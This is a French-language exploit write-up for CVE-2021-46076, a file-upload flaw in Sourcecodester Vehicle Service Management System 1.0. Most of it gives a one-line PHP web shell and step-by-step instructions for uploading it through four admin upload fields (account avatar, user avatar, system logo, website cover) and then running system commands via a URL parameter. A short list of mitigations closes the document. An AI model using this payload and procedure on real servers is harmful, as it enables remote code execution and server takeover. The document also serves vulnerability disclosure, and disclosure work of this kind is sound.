CVE-2021-46076
Titre de l'exploit : Vehicle Service Management System - Le téléversement de fichiers « multiples » conduit à l'exécution de code
Auteur de l'exploit : SANU P.L
CVE : CVE-2021-46076
CVSS : 8.8 ÉLEVÉ
Références :
Description :
Sourcecodester Vehicle Service Management System 1.0 est vulnérable au téléversement de fichiers. Un attaquant peut téléverser un fichier php malveillant sur plusieurs points de terminaison (endpoints), ce qui conduit à l'exécution de code.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section My Account http://localhost/vehicle_service/admin/?page=user
Payload :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par ex. : Cmd.php
- Dans la section My Account, saisissez toutes les informations requises et parcourez le fichier php dans le champ Avatar.
- Cliquez sur le bouton Update.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par ex. : id, whoami, pwd, etc.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section User List et cliquez sur le bouton Create New.
Payload :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par ex. : Cmd.php
- Dans la page Create New User, saisissez toutes les informations requises et parcourez le fichier php dans le champ Avatar.
- Cliquez sur le bouton Save.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par ex. : id, whoami, pwd, etc.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Settings http://localhost/vehicle_service/admin/?page=system_info
Payload :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par ex. : Cmd.php
- Dans la section Settings, saisissez toutes les informations requises et parcourez le fichier php dans le champ System Logo.
- Cliquez sur le bouton Update.
- Ouvrez l'image du System Logo dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par ex. : id, whoami, pwd, etc.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Settings http://localhost/vehicle_service/admin/?page=system_info
Payload :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par ex. : Cmd.php
- Dans la section Settings, saisissez toutes les informations requises et parcourez le fichier php dans le champ Website Cover.
- Cliquez sur le bouton Update.
- Ouvrez l'image du Website Cover dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par ex. : id, whoami, pwd, etc.
Impact :
Un attaquant peut téléverser un fichier php malveillant sur plusieurs points de terminaison (endpoints), ce qui conduit à l'exécution de code.
Mesures d'atténuation :
Il est recommandé de mettre en œuvre les mesures suivantes :
- N'acceptez jamais un nom de fichier et son extension directement sans disposer d'un filtre de liste blanche (white-list).
- S'il n'est pas nécessaire d'avoir des caractères Unicode, il est fortement recommandé de n'accepter que des caractères alphanumériques et un seul point comme entrée pour le nom de fichier et l'extension.
- Limitez la taille du fichier à une valeur maximale afin de prévenir les attaques par déni de service.
- Le répertoire de téléversement ne doit avoir aucune permission « execute » (exécution).
- Ne vous fiez pas uniquement à la validation côté client.